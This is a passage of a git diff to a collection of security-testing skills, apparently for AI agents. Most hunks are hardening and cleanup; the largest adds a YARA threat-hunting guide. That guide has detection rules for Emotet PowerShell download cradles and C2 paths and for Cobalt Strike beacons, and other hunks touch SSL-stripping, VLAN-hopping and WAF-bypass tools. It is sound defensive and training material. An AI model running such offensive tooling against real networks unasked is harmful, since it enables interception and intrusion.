--git a/skills/performing-sqlite-database-forensics/scripts/agent.py b/skills/performing-sqlite-database-forensics/scripts/agent.py index aef5af0f..c722aa21 100644 --- a/skills/performing-sqlite-database-forensics/scripts/agent.py +++ b/skills/performing-sqlite-database-forensics/scripts/agent.py @@ -11,9 +11,12 @@ import sqlite3 import json import sys import os +import re from datetime import datetime, timedelta from pathlib import Path +_SAFE_TABLE_RE = re.compile(r'^[a-zA-Z_][a-zA-Z0-9_]*$') + class SQLiteForensicsAgent: """Performs forensic analysis on SQLite database files.""" @@ -141,7 +144,9 @@ class SQLiteForensicsAgent: tables = [] for (name,) in cursor.fetchall(): try: - cursor.execute(f'SELECT COUNT(*) FROM "{name}"') + if not _SAFE_TABLE_RE.match(name): + continue + cursor.execute(f"SELECT COUNT(*) FROM [{name}]") count = cursor.fetchone()[0] except sqlite3.OperationalError: count = -1 diff --git a/skills/performing-ssl-certificate-lifecycle-management/scripts/agent.py b/skills/performing-ssl-certificate-lifecycle-management/scripts/agent.py index 44137813..e7461d30 100644 --- a/skills/performing-ssl-certificate-lifecycle-management/scripts/agent.py +++ b/skills/performing-ssl-certificate-lifecycle-management/scripts/agent.py @@ -10,12 +10,12 @@ import json import sys import ssl import socket -from datetime import datetime, timedelta +from datetime import datetime from pathlib import Path try: from cryptography import x509 - from cryptography.x509.oid import NameOID, ExtensionOID + from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import ec, rsa HAS_CRYPTO = True diff --git a/skills/performing-ssl-stripping-attack/SKILL.md b/skills/performing-ssl-stripping-attack/SKILL.md index a05085ea..bc121d37 100644 --- a/skills/performing-ssl-stripping-attack/SKILL.md +++ b/skills/performing-ssl-stripping-attack/SKILL.md @@ -32,6 +32,9 @@ license: Apache-2.0 - Wireshark for verifying attack success and capturing evidence - Test accounts (not real user credentials) for demonstrating credential interception + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Establish MITM Position diff --git a/skills/performing-ssl-stripping-attack/scripts/agent.py b/skills/performing-ssl-stripping-attack/scripts/agent.py index a9e2d9f9..1f201214 100644 --- a/skills/performing-ssl-stripping-attack/scripts/agent.py +++ b/skills/performing-ssl-stripping-attack/scripts/agent.py @@ -1,11 +1,13 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """SSL stripping assessment agent using subprocess wrappers for bettercap and curl.""" import subprocess import re import json import sys -import shutil def check_hsts_header(target_url): diff --git a/skills/performing-ssl-tls-inspection-configuration/SKILL.md b/skills/performing-ssl-tls-inspection-configuration/SKILL.md index b99df6bd..9a98ed7a 100644 --- a/skills/performing-ssl-tls-inspection-configuration/SKILL.md +++ b/skills/performing-ssl-tls-inspection-configuration/SKILL.md @@ -65,7 +65,7 @@ Enterprise Root CA (CN matches requested server) ``` -## Implementation Steps +## Workflow ### Step 1: Generate Internal CA for SSL Inspection diff --git a/skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py b/skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py index 6832690c..a7b047d6 100644 --- a/skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py +++ b/skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py @@ -5,7 +5,6 @@ import json import logging import argparse -from urllib.parse import urlencode from datetime import datetime import requests diff --git a/skills/performing-static-malware-analysis-with-pe-studio/scripts/agent.py b/skills/performing-static-malware-analysis-with-pe-studio/scripts/agent.py index d70f9d74..30b8fd7c 100644 --- a/skills/performing-static-malware-analysis-with-pe-studio/scripts/agent.py +++ b/skills/performing-static-malware-analysis-with-pe-studio/scripts/agent.py @@ -7,7 +7,6 @@ import math import os import re import sys -import json import datetime diff --git a/skills/performing-steganography-detection/scripts/agent.py b/skills/performing-steganography-detection/scripts/agent.py index af7a3468..fb25a8f0 100644 --- a/skills/performing-steganography-detection/scripts/agent.py +++ b/skills/performing-steganography-detection/scripts/agent.py @@ -3,9 +3,7 @@ import os import sys -import json import subprocess -import struct from pathlib import Path try: diff --git a/skills/performing-supply-chain-attack-simulation/SKILL.md b/skills/performing-supply-chain-attack-simulation/SKILL.md index ebefd81f..2293f31d 100644 --- a/skills/performing-supply-chain-attack-simulation/SKILL.md +++ b/skills/performing-supply-chain-attack-simulation/SKILL.md @@ -21,6 +21,9 @@ Software supply chain attacks exploit trust in package registries through typosq - Access to PyPI JSON API (https://pypi.org/pypi/{package}/json) - Network access for package metadata retrieval + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Key Detection Areas 1. **Typosquatting** — compare package names against top PyPI packages using edit distance thresholds diff --git a/skills/performing-supply-chain-attack-simulation/scripts/agent.py b/skills/performing-supply-chain-attack-simulation/scripts/agent.py index acfe6ccb..0493ba8a 100644 --- a/skills/performing-supply-chain-attack-simulation/scripts/agent.py +++ b/skills/performing-supply-chain-attack-simulation/scripts/agent.py @@ -1,11 +1,12 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Simulate and detect software supply chain attacks: typosquatting, dependency confusion, hash verification.""" import argparse -import hashlib import json import subprocess -import sys from datetime import datetime, timezone diff --git a/skills/performing-thick-client-application-penetration-test/SKILL.md b/skills/performing-thick-client-application-penetration-test/SKILL.md index cf51fa20..63b1a07d 100644 --- a/skills/performing-thick-client-application-penetration-test/SKILL.md +++ b/skills/performing-thick-client-application-penetration-test/SKILL.md @@ -22,6 +22,9 @@ Thick client (fat client) penetration testing assesses the security of desktop a - Tools: dnSpy, Procmon, Process Hacker, Wireshark, Burp Suite, Echo Mirage, Fiddler, IDA Pro/Ghidra - Administrative access to test machine + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Phase 1 — Information Gathering ### Static Analysis diff --git a/skills/performing-thick-client-application-penetration-test/scripts/agent.py b/skills/performing-thick-client-application-penetration-test/scripts/agent.py index 7fb89140..d55385be 100644 --- a/skills/performing-thick-client-application-penetration-test/scripts/agent.py +++ b/skills/performing-thick-client-application-penetration-test/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for thick client application penetration testing. Performs static analysis (strings extraction, .NET detection), @@ -6,7 +9,6 @@ dynamic analysis (process monitoring, DLL search order checks), local storage auditing, and API traffic interception assessment. """ -import subprocess import json import sys import os @@ -15,6 +17,8 @@ import sqlite3 from pathlib import Path from datetime import datetime +_SAFE_TABLE_RE = re.compile(r'^[a-zA-Z_][a-zA-Z0-9_]*$') + class ThickClientPentestAgent: """Performs security assessment of thick/fat client applications.""" @@ -129,7 +133,9 @@ class ThickClientPentestAgent: if any(kw in lower for kw in ["user", "account", "credential", "auth", "login", "password", "token", "session"]): - cursor.execute(f'SELECT COUNT(*) FROM "{table}"') + if not _SAFE_TABLE_RE.match(table): + continue + cursor.execute(f"SELECT COUNT(*) FROM [{table}]") count = cursor.fetchone()[0] sensitive_tables.append({"table": table, "rows": count}) diff --git a/skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py b/skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py index 1aa4f433..8368bf9b 100644 --- a/skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py +++ b/skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py @@ -1,10 +1,10 @@ #!/usr/bin/env python3 """Agent for threat emulation with Atomic Red Team test execution.""" -import os import json import yaml import argparse +import shlex import subprocess from pathlib import Path from datetime import datetime @@ -92,9 +92,10 @@ def execute_atomic_manual(atomics_path, technique_id, test_number, platform): if not command: return {"status": "error", "message": "No command defined"} for arg_name, arg_def in test.get("input_arguments", {}).items(): - default = arg_def.get("default", "") - command = command.replace(f"#{{{arg_name}}}", str(default)) + default = str(arg_def.get("default", "")) + command = command.replace(f"#{{{arg_name}}}", shlex.quote(default)) try: + # shell=True required: Atomic Red Team commands are shell scripts by design result = subprocess.run( command, shell=True, capture_output=True, text=True, timeout=60, ) @@ -123,8 +124,10 @@ def run_cleanup(atomics_path, technique_id, test_number=1): if not cleanup_cmd: return {"status": "no_cleanup_defined"} for arg_name, arg_def in test.get("input_arguments", {}).items(): - cleanup_cmd = cleanup_cmd.replace(f"#{{{arg_name}}}", str(arg_def.get("default", ""))) + default = str(arg_def.get("default", "")) + cleanup_cmd = cleanup_cmd.replace(f"#{{{arg_name}}}", shlex.quote(default)) try: + # shell=True required: Atomic Red Team cleanup commands are shell scripts by design subprocess.run(cleanup_cmd, shell=True, capture_output=True, timeout=30) return {"status": "cleaned_up", "technique": technique_id} except subprocess.TimeoutExpired: diff --git a/skills/performing-threat-hunting-with-elastic-siem/scripts/agent.py b/skills/performing-threat-hunting-with-elastic-siem/scripts/agent.py index 4adca66a..c8958726 100644 --- a/skills/performing-threat-hunting-with-elastic-siem/scripts/agent.py +++ b/skills/performing-threat-hunting-with-elastic-siem/scripts/agent.py @@ -1,9 +1,9 @@ #!/usr/bin/env python3 """Threat hunting agent for Elastic SIEM using elasticsearch-py.""" -import json +import os import sys -from datetime import datetime, timedelta +from datetime import datetime try: from elasticsearch import Elasticsearch @@ -12,7 +12,8 @@ except ImportError: sys.exit(1) -def get_es_client(host="https://localhost:9200", api_key=None, verify_certs=True): +def get_es_client(host=None, api_key=None, verify_certs=True): + host = host or os.environ.get("ES_HOSTS", "https://localhost:9200") kwargs = {"hosts": [host], "verify_certs": verify_certs} if api_key: kwargs["api_key"] = api_key @@ -175,7 +176,6 @@ def hunt_persistence(es, index="logs-endpoint.events.*", days=30): def create_detection_rule(es, kibana_url, name, query, severity="high", risk_score=73): """Deploy a detection rule to Elastic Security via API.""" - import requests rule = { "name": name, "description": f"Detection rule created from threat hunt: {name}", @@ -219,7 +219,7 @@ def print_hunt_report(hunts): if __name__ == "__main__": - host = sys.argv[1] if len(sys.argv) > 1 else "https://localhost:9200" + host = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("ES_HOSTS", "https://localhost:9200") es = get_es_client(host=host, verify_certs=False) results = run_all_hunts(es) print_hunt_report(results) diff --git a/skills/performing-threat-hunting-with-yara-rules/SKILL.md b/skills/performing-threat-hunting-with-yara-rules/SKILL.md index 7d2780d2..970a2131 100644 --- a/skills/performing-threat-hunting-with-yara-rules/SKILL.md +++ b/skills/performing-threat-hunting-with-yara-rules/SKILL.md @@ -16,3 +16,396 @@ license: Apache-2.0 Scan files, directories, and memory dumps using YARA rules to identify malware families, suspicious patterns, and IOC matches. + +## When to Use + +- Proactively hunting for unknown malware variants across network shares, endpoints, and email attachments +- Scanning quarantine directories or sandbox outputs for malware family classification +- Searching process memory dumps for injected code or in-memory-only payloads +- Validating threat intelligence IOCs against a large corpus of collected samples +- Triaging incident response artifacts to identify known malware families quickly +- Building automated detection pipelines that scan new files on ingestion + +**Do not use** for real-time endpoint protection (use EDR agents instead); YARA scanning is best suited for batch hunting, triage, and post-collection analysis where scan latency is acceptable. + +## Prerequisites + +- YARA 4.x installed (`apt install yara` on Debian/Ubuntu, `brew install yara` on macOS) +- Python 3.8+ with `yara-python` (`pip install yara-python`) +- `yarGen` for automated rule generation (`git clone https://github.com/Neo23x0/yarGen`) +- Sample malware corpus or suspicious files for scanning (from malware zoos, VT, or incident artifacts) +- Optional: `pefile` for PE header analysis, `malduck` for memory carving +- Threat intel YARA rule sets (e.g., YARA-Rules community repository, Florian Roth signature-base) + +## Workflow + +### Step 1: Install YARA and Python Bindings + +```bash +# Linux +sudo apt update && sudo apt install -y yara + +# Python bindings +pip install yara-python + +# Verify installation +yara --version +python3 -c "import yara; print(yara.YARA_VERSION)" +``` + +### Step 2: Write a Basic YARA Rule + +Create rules that match on strings, hex patterns, and file metadata: + +```yara +// File: rules/emotet_loader.yar +rule Emotet_Loader_2026 { + meta: + author = "Threat Intel Team" + description = "Detects Emotet first-stage loader DLL" + date = "2026-01-20" + reference = "https://attack.mitre.org/software/S0367/" + mitre_attack = "T1059.001, T1055.001" + severity = "critical" + + strings: + // Emotet export function name patterns + $export1 = "DllRegisterServer" ascii + $export2 = "RunDLL" ascii nocase + + // Obfuscated string decryption routine + $decrypt_loop = { 8B 45 ?? 33 45 ?? 89 45 ?? 8B 4D ?? 03 4D ?? } + + // PowerShell download cradle in embedded script + $ps_cradle = /powershell[^\n]{0,50}-e(nc|ncodedcommand)/i + + // Known C2 URI patterns + $uri1 = "/wp-content/uploads/" ascii + $uri2 = "/wp-admin/css/" ascii + $uri3 = "/wp-includes/" ascii + + // PE characteristics + $mz = "MZ" at 0 + + condition: + $mz and + filesize < 2MB and + ( + ($export1 and $decrypt_loop) or + ($ps_cradle and any of ($uri*)) or + (2 of ($uri*) and $decrypt_loop) + ) +} +``` + +### Step 3: Write Advanced Rules with Modules + +Use YARA modules for PE header inspection and math-based entropy checks: + +```yara +import "pe" +import "math" + +rule Suspicious_Packed_Executable { + meta: + author = "Threat Hunting Team" + description = "Detects PE files with high entropy sections indicating packing or encryption" + severity = "medium" + + condition: + pe.is_pe and + pe.number_of_sections > 0 and + for any section in pe.sections : ( + math.entropy(section.offset, section.size) > 7.2 and + section.size > 1024 + ) and + pe.imports("kernel32.dll", "VirtualAlloc") and + pe.imports("kernel32.dll", "VirtualProtect") +} + +rule Suspicious_UPX_Modified { + meta: + description = "Detects UPX-packed binaries with tampered section names" + severity = "medium" + + strings: + $upx_magic = { 55 50 58 21 } // UPX! + + condition: + pe.is_pe and + $upx_magic and + not ( + pe.sections[0].name == "UPX0" and + pe.sections[1].name == "UPX1" + ) +} +``` + +### Step 4: Scan Files and Directories with yara-python + +```python +import yara +import os +import json +from datetime import datetime +from pathlib import Path + +def compile_rules(rule_paths): + """Compile YARA rules from one or more .yar files.""" + rule_files = {} + for i, path in enumerate(rule_paths): + namespace = Path(path).stem + rule_files[namespace] = path + return yara.compile(filepaths=rule_files) + +def scan_directory(rules, target_dir, recursive=True): + """Scan a directory for matches and return structured results.""" + results = [] + scan_count = 0 + error_count = 0 + + for root, dirs, files in os.walk(target_dir): + for filename in files: + filepath = os.path.join(root, filename) + scan_count += 1 + try: + matches = rules.match(filepath, timeout=60) + if matches: + for match in matches: + result = { + "file": filepath, + "rule": match.rule, + "namespace": match.namespace, + "tags": match.tags, + "meta": match.meta, + "strings": [], + "scan_time": datetime.utcnow().isoformat() + } + for offset, identifier, data in match.strings: + result["strings"].append({ + "offset": hex(offset), + "identifier": identifier, + "data": data.hex() if isinstance(data, bytes) else data + }) + results.append(result) + print(f" MATCH: {match.rule} -> {filepath}") + except yara.TimeoutError: + error_count += 1 + print(f" TIMEOUT scanning {filepath}") + except yara.Error as e: + error_count += 1 + + if not recursive: + break + + print(f"\nScan complete: {scan_count} files scanned, " + f"{len(results)} matches, {error_count} errors") + return results + +# Compile and scan +rules = compile_rules([ + "rules/emotet_loader.yar", + "rules/suspicious_packed.yar" +]) + +matches = scan_directory(rules, "/mnt/evidence/collected_samples/") + +# Export results +with open("yara_scan_results.json", "w") as f: + json.dump(matches, f, indent=2) +``` + +### Step 5: Scan Process Memory Dumps + +Hunt for in-memory indicators that only exist in running processes: + +```python +import yara + +def scan_memory_dump(rules, dump_path): + """Scan a process memory dump for YARA matches.""" + matches = rules.match(dump_path, timeout=120) + + for match in matches: + print(f"Rule: {match.rule}") + print(f" Severity: {match.meta.get('severity', 'unknown')}") + for offset, identifier, data in match.strings: + # Show context around the match + print(f" String {identifier} at offset {hex(offset)}") + if len(data) <= 64: + print(f" Data: {data.hex()}") + + return matches + +# Rules targeting in-memory artifacts +memory_rules = yara.compile(source=""" +rule Cobalt_Strike_Beacon_Memory { + meta: + description = "Detects Cobalt Strike beacon in process memory" + severity = "critical" + strings: + $config_start = { 2E 2F 2E 2F 2E 2C } + $sleep_mask = { 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 } + $named_pipe = "\\\\\\\\.\\\\pipe\\\\msagent_" ascii + $watermark = { 00 00 00 00 00 00 ?? ?? 00 00 } + condition: + 2 of them +} +""") + +scan_memory_dump(memory_rules, "/mnt/evidence/lsass_dump.dmp") +``` + +### Step 6: Generate Rules Automatically with yarGen + +Use yarGen to create rules from malware samples by extracting unique strings: + +```bash +# Clone and set up yarGen +git clone https://github.com/Neo23x0/yarGen.git +cd yarGen +pip install -r requirements.txt + +# Download the string databases (run once) +python3 yarGen.py --update + +# Generate rules from a directory of malware samples +python3 yarGen.py \ + -m /mnt/evidence/malware_samples/ \ + -o generated_rules.yar \ + --excludegood \ + -p "AutoGen" \ + -a "Threat Hunting Team" \ + --score 50 + +# Generate rules for a single sample with maximum detail +python3 yarGen.py \ + -m /mnt/evidence/malware_samples/suspicious.exe \ + -o single_sample_rule.yar \ + --opcodes \ + --debug +``` + +### Step 7: Integrate Community Rule Sets + +Download and combine rules from public threat intelligence repositories: + +```bash +# Clone Florian Roth's signature-base (large community rule set) +git clone https://github.com/Neo23x0/signature-base.git + +# Clone YARA-Rules community repository +git clone https://github.com/Yara-Rules/rules.git yara-community-rules + +# Clone ReversingLabs YARA rules +git clone https://github.com/reversinglabs/reversinglabs-yara-rules.git +``` + +```python +import yara +from pathlib import Path + +def load_rule_directory(rule_dir, extensions=(".yar", ".yara")): + """Load all YARA rules from a directory tree.""" + rule_files = {} + for ext in extensions: + for rule_file in Path(rule_dir).rglob(f"*{ext}"): + namespace = rule_file.stem + # Avoid namespace collisions + if namespace in rule_files: + namespace = f"{rule_file.parent.name}_{namespace}" + rule_files[namespace] = str(rule_file) + + print(f"Loading {len(rule_files)} rule files from {rule_dir}") + try: + compiled = yara.compile(filepaths=rule_files) + return compiled + except yara.SyntaxError as e: + print(f"Syntax error in rules: {e}") + # Fall back to loading rules one by one, skipping broken ones + valid_rules = {} + for ns, path in rule_files.items(): + try: + yara.compile(filepath=path) + valid_rules[ns] = path + except yara.SyntaxError: + print(f" Skipping broken rule: {path}") + return yara.compile(filepaths=valid_rules) + +# Load and scan with community rules +community_rules = load_rule_directory("signature-base/yara/") +matches = community_rules.match("/mnt/evidence/suspicious_file.exe", timeout=120) + +for m in matches: + print(f"Matched: {m.rule} (namespace: {m.namespace})") +``` + +### Step 8: Build a Continuous Hunting Pipeline + +Automate scanning of new files as they arrive using filesystem monitoring: + +```python +import yara +import time +import json +import hashlib +from pathlib import Path +from watchdog.observers import Observer +from watchdog.events import FileSystemEventHandler + +class YaraHuntingHandler(FileSystemEventHandler): + def __init__(self, rules, alert_file="yara_alerts.jsonl"): + self.rules = rules + self.alert_file = alert_file + self.scanned_hashes = set() + + def on_created(self, event): + if event.is_directory: + return + self._scan_file(event.src_path) + + def _scan_file(self, filepath): + # Deduplicate by file hash + try: + file_hash = hashlib.sha256(Path(filepath).read_bytes()).hexdigest() + except (PermissionError, FileNotFoundError): + return + + if file_hash in self.scanned_hashes: + return + self.scanned_hashes.add(file_hash) + + matches = self.rules.match(filepath, timeout=60) + if matches: + alert = { + "timestamp": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()), + "file": filepath, + "sha256": file_hash, + "matches": [ + {"rule": m.rule, "severity": m.meta.get("severity", "unknown")} + for m in matches + ] + } + with open(self.alert_file, "a") as f: + f.write(json.dumps(alert) + "\n") + print(f"ALERT: {filepath} matched {len(matches)} rules") + +# Set up continuous monitoring +rules = yara.compile(filepaths={"hunting": "rules/all_hunting_rules.yar"}) +handler = YaraHuntingHandler(rules) +observer = Observer() +observer.schedule(handler, path="/mnt/quarantine/", recursive=True) +observer.start() +print("YARA hunting pipeline active. Monitoring /mnt/quarantine/ ...") +``` + +## Verification + +- Compile all custom rules without syntax errors: `yara -w rules/*.yar /dev/null` +- Confirm rules match known-good malware samples from your test corpus (true positive validation) +- Verify rules do NOT match a goodware corpus of common system files (false positive testing) +- Test scanning performance: single file scan should complete within timeout threshold +- Validate yarGen output rules compile and produce meaningful matches against the input samples +- Check that community rule sets load without critical syntax errors after filtering +- Confirm the continuous hunting pipeline generates alerts in JSONL format when test files are dropped +- Cross-reference YARA matches against VirusTotal or sandbox results to validate detection accuracy diff --git a/skills/performing-threat-intelligence-sharing-with-misp/scripts/agent.py b/skills/performing-threat-intelligence-sharing-with-misp/scripts/agent.py index 43d1cd84..62129891 100644 --- a/skills/performing-threat-intelligence-sharing-with-misp/scripts/agent.py +++ b/skills/performing-threat-intelligence-sharing-with-misp/scripts/agent.py @@ -3,13 +3,12 @@ import argparse import json -import sys -from collections import Counter, defaultdict +from collections import Counter from datetime import datetime from pathlib import Path try: - from pymisp import PyMISP, MISPEvent, MISPAttribute, MISPTag + from pymisp import PyMISP, MISPEvent HAS_PYMISP = True except ImportError: HAS_PYMISP = False diff --git a/skills/performing-threat-landscape-assessment-for-sector/SKILL.md b/skills/performing-threat-landscape-assessment-for-sector/SKILL.md index f35dbabf..141dc87f 100644 --- a/skills/performing-threat-landscape-assessment-for-sector/SKILL.md +++ b/skills/performing-threat-landscape-assessment-for-sector/SKILL.md @@ -36,7 +36,7 @@ A comprehensive assessment includes: threat actor profiling (groups targeting th Sector-specific intelligence comes from ISACs (Information Sharing and Analysis Centers), government advisories (CISA, FBI, NSA), vendor threat reports (CrowdStrike Annual Threat Report, Mandiant M-Trends, Verizon DBIR), and academic research on sector-specific attacks. -## Practical Steps +## Workflow ### Step 1: Identify Threat Actors Targeting the Sector @@ -198,7 +198,7 @@ def analyze_attack_vectors(assessment): def generate_sector_report(assessment): data = assessment.assessment report = f"""# {data['sector'].title()} Sector Threat Landscape Assessment -Generated: {__import__('datetime').datetime.now().isoformat()} +Generated: {datetime.datetime.now().isoformat()} ## Executive Summary This assessment analyzes the cyber threat landscape for the {data['sector']} sector, diff --git a/skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md b/skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md index 1255a580..bdc5a07f 100644 --- a/skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md +++ b/skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md @@ -48,7 +48,7 @@ OWASP Threat Dragon is an open-source threat modeling tool that enables security | U | Unawareness | User unaware of data collection | | N | Non-compliance | Violating privacy regulations | -## Implementation Steps +## Workflow ### Step 1 --- Install Threat Dragon diff --git a/skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/agent.py b/skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/agent.py index 69c217da..44098a42 100644 --- a/skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/agent.py +++ b/skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/agent.py @@ -10,7 +10,6 @@ import json import sys import uuid from datetime import datetime -from pathlib import Path STRIDE_BY_ELEMENT = { diff --git a/skills/performing-timeline-reconstruction-with-plaso/scripts/agent.py b/skills/performing-timeline-reconstruction-with-plaso/scripts/agent.py index e299b717..e0059730 100644 --- a/skills/performing-timeline-reconstruction-with-plaso/scripts/agent.py +++ b/skills/performing-timeline-reconstruction-with-plaso/scripts/agent.py @@ -5,10 +5,8 @@ import subprocess import os import sys import csv -import json from datetime import datetime from collections import defaultdict -from pathlib import Path def verify_plaso_installed(): @@ -16,7 +14,8 @@ def verify_plaso_installed(): tools = {} for tool in ["log2timeline.py", "psort.py"]: result = subprocess.run( - [tool, "--version"], capture_output=True, text=True + [tool, "--version"], capture_output=True, text=True, + timeout=120, ) tools[tool] = result.stdout.strip() if result.returncode == 0 else None return tools diff --git a/skills/performing-user-behavior-analytics/scripts/agent.py b/skills/performing-user-behavior-analytics/scripts/agent.py index 203c2f86..78c552b0 100644 --- a/skills/performing-user-behavior-analytics/scripts/agent.py +++ b/skills/performing-user-behavior-analytics/scripts/agent.py @@ -1,10 +1,10 @@ #!/usr/bin/env python3 """User Behavior Analytics (UEBA) agent using elasticsearch-py.""" -import sys -import json import math -from datetime import datetime, timedelta +import os +import sys +from datetime import datetime try: from elasticsearch import Elasticsearch @@ -16,7 +16,8 @@ except ImportError: EARTH_RADIUS_KM = 6371 -def get_es_client(host="https://localhost:9200", api_key=None): +def get_es_client(host=None, api_key=None): + host = host or os.environ.get("ES_HOSTS", "https://localhost:9200") kwargs = {"hosts": [host], "verify_certs": False} if api_key: kwargs["api_key"] = api_key @@ -209,7 +210,7 @@ def print_report(travel_alerts, offhours_alerts, risk_scores): if __name__ == "__main__": - host = sys.argv[1] if len(sys.argv) > 1 else "https://localhost:9200" + host = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("ES_HOSTS", "https://localhost:9200") es = get_es_client(host) baselines = build_user_baselines(es) travel = detect_impossible_travel(es) diff --git a/skills/performing-vlan-hopping-attack/SKILL.md b/skills/performing-vlan-hopping-attack/SKILL.md index adf90613..3d0d3009 100644 --- a/skills/performing-vlan-hopping-attack/SKILL.md +++ b/skills/performing-vlan-hopping-attack/SKILL.md @@ -32,6 +32,9 @@ license: Apache-2.0 - Access to switch CLI for verification of configurations (read-only is sufficient) - Wireshark for capturing and verifying tagged frames + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Enumerate VLAN Configuration diff --git a/skills/performing-vlan-hopping-attack/scripts/agent.py b/skills/performing-vlan-hopping-attack/scripts/agent.py index c3eac3de..4629909e 100644 --- a/skills/performing-vlan-hopping-attack/scripts/agent.py +++ b/skills/performing-vlan-hopping-attack/scripts/agent.py @@ -1,10 +1,11 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """VLAN hopping assessment agent using scapy for DTP and double-tagging tests.""" import subprocess import sys -import os -import json from datetime import datetime try: @@ -21,7 +22,8 @@ def get_interface_info(iface="eth0"): """Get network interface details.""" mac = get_if_hwaddr(iface) result = subprocess.run( - ["ip", "link", "show", iface], capture_output=True, text=True + ["ip", "link", "show", iface], capture_output=True, text=True, + timeout=120, ) return {"interface": iface, "mac": mac, "status": result.stdout.strip()} @@ -93,18 +95,20 @@ def send_dtp_desirable(iface="eth0", count=10): def create_vlan_interface(iface, vlan_id, ip_addr): """Create a VLAN subinterface.""" - subprocess.run(["modprobe", "8021q"], capture_output=True) + subprocess.run(["modprobe", "8021q"], capture_output=True, timeout=120) vlan_iface = f"{iface}.{vlan_id}" subprocess.run( ["ip", "link", "add", "link", iface, "name", vlan_iface, "type", "vlan", "id", str(vlan_id)], - capture_output=True + capture_output=True, + timeout=120, ) subprocess.run( ["ip", "addr", "add", f"{ip_addr}/24", "dev", vlan_iface], - capture_output=True + capture_output=True, + timeout=120, ) - subprocess.run(["ip", "link", "set", vlan_iface, "up"], capture_output=True) + subprocess.run(["ip", "link", "set", vlan_iface, "up"], capture_output=True, timeout=120) return {"vlan_interface": vlan_iface, "vlan_id": vlan_id, "ip": ip_addr} @@ -134,7 +138,8 @@ def cleanup_vlan_interfaces(iface, vlan_ids): for vid in vlan_ids: vlan_iface = f"{iface}.{vid}" result = subprocess.run( - ["ip", "link", "del", vlan_iface], capture_output=True + ["ip", "link", "del", vlan_iface], capture_output=True, + timeout=120, ) removed.append({"interface": vlan_iface, "success": result.returncode == 0}) return removed diff --git a/skills/performing-vulnerability-scanning-with-nessus/scripts/agent.py b/skills/performing-vulnerability-scanning-with-nessus/scripts/agent.py index a3aef463..f8b85808 100644 --- a/skills/performing-vulnerability-scanning-with-nessus/scripts/agent.py +++ b/skills/performing-vulnerability-scanning-with-nessus/scripts/agent.py @@ -17,7 +17,8 @@ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class NessusAPI: - def __init__(self, url="https://localhost:8834", access_key=None, secret_key=None): + def __init__(self, url=None, access_key=None, secret_key=None): + url = url or os.environ.get("NESSUS_URL", "https://localhost:8834") self.url = url.rstrip("/") self.session = requests.Session() self.session.verify = False @@ -27,17 +28,17 @@ class NessusAPI: }) def _get(self, endpoint): - resp = self.session.get(f"{self.url}{endpoint}") + resp = self.session.get(f"{self.url}{endpoint}", timeout=30) resp.raise_for_status() return resp.json() def _post(self, endpoint, data=None): - resp = self.session.post(f"{self.url}{endpoint}", json=data) + resp = self.session.post(f"{self.url}{endpoint}", json=data, timeout=30) resp.raise_for_status() return resp.json() def _put(self, endpoint, data=None): - resp = self.session.put(f"{self.url}{endpoint}", json=data) + resp = self.session.put(f"{self.url}{endpoint}", json=data, timeout=30) resp.raise_for_status() return resp.json() @@ -138,7 +139,7 @@ class NessusAPI: if status.get("status") == "ready": break time.sleep(5) - resp = self.session.get(f"{self.url}/scans/{scan_id}/export/{file_id}/download") + resp = self.session.get(f"{self.url}/scans/{scan_id}/export/{file_id}/download", timeout=30) return resp.content def check_auth_status(self, scan_id): diff --git a/skills/performing-web-application-firewall-bypass/scripts/agent.py b/skills/performing-web-application-firewall-bypass/scripts/agent.py index 74371172..d433147d 100644 --- a/skills/performing-web-application-firewall-bypass/scripts/agent.py +++ b/skills/performing-web-application-firewall-bypass/scripts/agent.py @@ -6,8 +6,9 @@ against a target URL to identify WAF evasion weaknesses in XSS, SQLi, and path traversal filtering. """ -import requests import json +import os +import requests import sys import urllib.parse from datetime import datetime @@ -131,7 +132,7 @@ class WAFBypassAgent: def main(): - url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/" + url = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET_URL", "http://localhost:8080/") agent = 